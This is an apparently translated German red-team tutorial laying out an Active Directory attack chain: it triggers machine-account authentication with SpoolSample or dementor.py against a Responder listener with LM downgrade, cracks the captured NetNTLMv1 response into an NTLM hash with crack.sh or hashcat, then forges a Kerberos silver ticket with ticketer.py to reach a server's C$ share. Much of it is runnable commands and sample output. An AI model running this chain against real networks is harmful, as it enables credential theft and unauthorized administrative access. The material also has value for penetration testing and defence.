
SpoolSample -> Responder w/NetNTLM Downgrade -> NetNTLMv1 -> NTLM -> Kerberos Silver Ticket
Diese Technik wurde bereits von anderen angedeutet, aber ich habe noch nichts Zusammenhängendes gesehen. Im Folgenden gehen wir die Schritte durch, um eine NetNTLMv1 Challenge/Response-Authentifizierung zu erhalten, diese in NTLM-Hashes zu cracken und diesen NTLM-Hash zu verwenden, um ein Kerberos-Silver-Ticket zu signieren.
Dies funktioniert in Netzwerken, in denen die "LAN Manager-Authentifizierungsstufe" auf 2 oder niedriger gesetzt ist. Dies ist ein recht häufiges Szenario in älteren, größeren Windows-Bereitstellungen. Es sollte auf Windows 10 / Server 2016 oder neuer nicht funktionieren.
Erhalten einer NetNTLMv1-Antwort eines Maschinenkontos über @tifkin_'s (Lee Christensen) SpoolSample
Cracken dieser NetNTLMv1-Antwort zurück in einen NTLM-Hash unter Verwendung von @0x31337's (David Hulton) Regenbogentabellen
Generieren eines Silver Tickets unter Verwendung des neu erhaltenen NTLM-Hashes mit @agsolino's (Albert Solino) ticketer.py
Verwende PowerShell, um eine Liste von Windows-Rechnern zu erhalten. Server sind in der Regel priorisiert, also konzentrieren wir uns darauf:
Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt
Verwende eine leicht modifizierte Version von @mysmartlogin's (Vincent Le Toux) SpoolerScanner, um zu prüfen, ob der Spooler-Dienst lauscht:
. .\Get-SpoolStatus.ps1
ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server}
Du kannst auch rpcdump.py unter Linux verwenden und nach dem MS-RPRN-Protokoll suchen:
rpcdump.py DOMAIN/USER:[email protected] | grep MS-RPRN
./Responder.py -I eth0 --lm
SpoolSample.exe TARGET RESPONDERIP
oder verwende 3xocyte's dementor.py, wenn du unter Linux arbeitest:
python dementor.py -d domain -u username -p password RESPONDERIP TARGET
Beispielantwort:
[SMB] NTLMv1 Client : 10.0.0.2
[SMB] NTLMv1 Username : DOMAIN\SERVER$
[SMB] NTLMv1 Hash : SERVER$::DOMAIN:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972:1122334455667788
Du kannst einen Satz von Regenbogentabellen verwenden, um den NTHASH in NTLM umzukehren, oder du kannst ihn in seine DES-Bestandteile zerlegen und mit hashcat knacken.
Ein 8x 1080 Rig kann es in etwa 6 Tagen brute-forcen, also sind Regenbogentabellen zu empfehlen.
Für Regenbogentabellen gibt es einen Dienst unter https://crack.sh/netntlm/, der NTLM aus NetNTLMv1 kostenlos wiederherstellt. Dieser wird von David Hulton von Toorcon bereitgestellt. Wir arbeiten an einer lokalen Kopie der Regenbogentabellen und der Software, die kein FPGA für Abfragen benötigt.
Für crack.sh ist das Format: NTHASH:(Antwort), also NTHASH:F35A3FE17DCB31F9BE8A8004B3F310C150AFA36195554972 aus dem Beispiel.
python3 ntlmv1.py --ntlmv1 hashcat::DUSTIN-5AA37877:76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595:1122334455667788
Dies gibt die folgende Ausgabe mit Anweisungen zurück:
['hashcat', '', 'DUSTIN-5AA37877', '76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D', '727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595', '1122334455667788']
Hostname: DUSTIN-5AA37877
Username: hashcat
Challenge: 1122334455667788
LM Response: 76365E2D142B5612980C67D057EB9EFEEE5EF6EB6FF6E04D
NT Response: 727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
CT1: 727B4E35F947129E
CT2: A52B9CDEDAE86934
CT3: BB23EF89F50FC595
To Calculate final 4 characters of NTLM hash use:
./ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
To crack with hashcat create a file with the following contents:
727B4E35F947129E:1122334455667788
A52B9CDEDAE86934:1122334455667788
To crack with hashcat:
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
To Crack with crack.sh use the following token
NTHASH:727B4E35F947129EA52B9CDEDAE86934BB23EF89F50FC595
Du musst einige Informationen dafür finden: SPN des Dienstes, auf den du zugreifen möchtest, Domain-SID, Domain-Benutzerkonto-SID und -Kontoname mit lokalen Admin-Rechten, sowie eine Domain-Gruppe, in der der Benutzer Mitglied ist, wenn die lokale Administration gruppenbasiert erfolgt.
Für den Dienst ist der häufigste cifs/, da er auf den HOST/-Dienst abgebildet wird.
./ticketer.py -nthash 09e55a127f3d4e4957c77de30000502a -domain-sid S-1-5-21-7375663-6890924511-1272660413 -domain DOMAIN.COM -spn cifs/SERVER.DOMAIN.COM -user-id 123456 -groups 4321 username
export KRB5CCNAME=/root/Assessments/NTLMTest/USERNAME.ccache
smbclient -k //SERVER.DOMAIN.COM/c$ -d
6 TB Regenbogentabellen verteilen
@0x31337's desrtop so modifizieren, dass es kein FPGA benötigt
Weitere Wege identifizieren, um eine Maschinenkonto-Authentifizierung remote auszulösen